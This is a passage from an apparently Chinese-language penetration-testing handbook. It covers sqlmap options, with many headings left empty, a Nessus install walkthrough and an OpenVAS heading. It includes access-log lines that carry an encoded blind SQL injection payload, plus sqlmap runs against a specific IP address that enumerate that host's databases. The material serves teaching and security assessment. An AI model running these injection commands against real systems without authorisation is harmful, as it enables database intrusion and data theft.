113.106.63.1 - - [10/Dec/2011:16:48:24 +0800] "GET /test/testdb.php?
id=12%20AND%20ORD%28MID%28%28SELECT%200%20FROM%20information_schema.TABLES%20LIMIT%200%2C%20
HTTP/1.1" 200 2191 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.52.7 (KHTML,
like Gecko) Version/5.1.2 Safari/534.52.7"
113.106.63.1 - - [10/Dec/2011:16:48:24 +0800] "GET /test/testdb.php?
id=12%20AND%20ORD%28MID%28%28SELECT%200%20FROM%20information_schema.TABLES%20LIMIT%200%2C%20
HTTP/1.1" 200 2191 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.52.7 (KHTML,
like Gecko) Version/5.1.2 Safari/534.52.7"
```

3.4.1. -a

3.5. --headers

3.6. auth

3.6.1. --auth-type

3.6.2. --auth-cred

3.7. --proxy

3.8.

3.9. --threads

3.10. --delay

3.11. --timeout

---

4. Injection

4.1. --dbms

```
neo@neo-OptiPlex-380:~$ sqlmap -u "http://120.132.144.28/test/testdb.php?id=12" --
dbms "mysql"

[*] starting at: 17:39:43

[17:39:43] [INFO] testing connection to the target url
[17:39:43] [INFO] testing if the url is stable, wait a few seconds
[17:39:44] [INFO] url is stable
[17:39:44] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[17:39:44] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[17:39:44] [INFO] testing if GET parameter 'id' is dynamic
[17:39:44] [INFO] confirming that GET parameter 'id' is dynamic
[17:39:44] [INFO] GET parameter 'id' is dynamic
[17:39:44] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[17:39:44] [INFO] testing unescaped numeric injection on GET parameter 'id'
[17:39:44] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[17:39:44] [INFO] GET parameter 'id' is unescaped numeric injectable with 0
parenthesis
[17:39:44] [INFO] testing for parenthesis on injectable parameter
[17:39:44] [INFO] the injectable parameter requires 0 parenthesis
[17:39:44] [INFO] testing MySQL
[17:39:44] [INFO] confirming MySQL
[17:39:44] [INFO] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1
[17:39:44] [INFO] retrieved: 2
[17:39:45] [INFO] performed 13 queries in 0 seconds
[17:39:45] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0


[*] shutting down at: 17:39:45
```

4.2. --prefix

4.3. --postfix

4.4. --string

4.5. --regexp

4.6. --excl-str

4.7. --excl-reg

5. Techniques

5.1. --stacked-test

5.2. --time-test

5.3. --union-test

```
$ sqlmap -u "http://120.132.144.28/team.php?id=3429" --union-test
```

5.4. --union-tech

5.5. --union-use

6. Enumeration

6.1. dbs

```
$ sqlmap -u "http://120.132.144.28/test/testdb.php?id=12" --dbs
```

```
[*] starting at: 15:59:20

[15:59:20] [INFO] testing connection to the target url
[15:59:20] [INFO] testing if the url is stable, wait a few seconds
[15:59:22] [INFO] url is stable
[15:59:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[15:59:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[15:59:22] [INFO] testing if GET parameter 'id' is dynamic
[15:59:22] [INFO] confirming that GET parameter 'id' is dynamic
[15:59:22] [INFO] GET parameter 'id' is dynamic
[15:59:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[15:59:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
[15:59:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[15:59:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0
parenthesis
[15:59:22] [INFO] testing for parenthesis on injectable parameter
[15:59:22] [INFO] the injectable parameter requires 0 parenthesis
[15:59:22] [INFO] testing MySQL
[15:59:22] [INFO] confirming MySQL
[15:59:22] [INFO] query: SELECT 2 FROM information_schema.TABLES LIMIT 0, 1
[15:59:22] [INFO] retrieved: 2
[15:59:22] [INFO] performed 13 queries in 0 seconds
[15:59:22] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0

[15:59:22] [INFO] fetching database names
[15:59:22] [INFO] fetching number of databases
[15:59:22] [INFO] query: SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS
CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA
[15:59:22] [INFO] retrieved: 3
[15:59:23] [INFO] performed 13 queries in 0 seconds
[15:59:23] [INFO] query: SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)),
CHAR(32))) FROM information_schema.SCHEMATA LIMIT 0, 1
[15:59:23] [INFO] retrieved: information_schema
[15:59:27] [INFO] performed 132 queries in 4 seconds
[15:59:27] [INFO] query: SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)),
CHAR(32))) FROM information_schema.SCHEMATA LIMIT 1, 1
[15:59:27] [INFO] retrieved: groupgoods
[15:59:29] [INFO] performed 76 queries in 2 seconds
[15:59:29] [INFO] query: SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)),
CHAR(32))) FROM information_schema.SCHEMATA LIMIT 2, 1
[15:59:29] [INFO] retrieved: test
[15:59:30] [INFO] performed 34 queries in 1 seconds
available databases [3]:
[*] groupgoods
[*] information_schema
[*] test

[15:59:30] [INFO] Fetched data logged to text files under
'/home/neo/.sqlmap/output/120.132.144.28'

[*] shutting down at: 15:59:30
```

7. Miscellaneous

7.1. --update

```
$ sqlmap --update
```

7.2. --save

```
$ sqlmap -u "http://120.132.144.28/test/testdb.php?id=12" --
referer="http://www.google.com" --save sqlmap.ini
```

第 3 章 Vulnerability Scanner

目录

1. Nessus
2. OpenVAS

1. Nessus

http://www.nessus.org/

```
[root@centos6 src]# rpm -ivh Nessus-4.4.1-es6.x86_64.rpm
Preparing...                ########################################### [100%]
   1:Nessus                 ########################################### [100%]
nessusd (Nessus) 4.4.1 [build M15078] for Linux
(C) 1998 - 2011 Tenable Network Security, Inc.

Processing the Nessus plugins...
[##################################################]

All plugins loaded
 - Please run /opt/nessus//sbin/nessus-adduser to add a user
 - Register your Nessus scanner at http://www.nessus.org/register/ to obtain
   all the newest plugins
 - You can start nessusd by typing /sbin/service nessusd start
```

```
[root@centos6 src]# /opt/nessus/sbin/nessus-adduser
Login : admin
Login password :
Login password (again) :
Do you want this user to be a Nessus 'admin' user ? (can upload plugins, etc...)
(y/n) [n]: y
User rules
----------
nessusd has a rules system which allows you to restrict the hosts
that admin has the right to test. For instance, you may want
him to be able to scan his own host only.

Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are done :
(the user can have an empty rules set)



Login             : admin
Password          : ***********
This user will have 'admin' privileges within the Nessus server
Rules             :
Is that ok ? (y/n) [y]
User added
```

申请一个验证吗http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code会发送到你的邮箱中。

```
[root@centos6 src]# /opt/nessus/bin/nessus-fetch --register 433E-3B47-94AF-5CF8-
7E8E
Your activation code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org...
Your Nessus installation is now up-to-date.
If auto_update is set to 'yes' in nessusd.conf, Nessus will
update the plugins by itself.
```

```
[root@centos6 src]# /sbin/service nessusd start
Starting Nessus services:
[root@centos6 src]# Missing plugins. Attempting a plugin update...
Your installation is missing plugins. Please register and try again.
To register, please visit http://www.nessus.org/register/
```

https://localhost:8834

---

2. OpenVAS

第 4 章 Injection & Penetration

目录

1. Backtrack Linux

1. Backtrack Linux

http://www.backtrack-linux.org/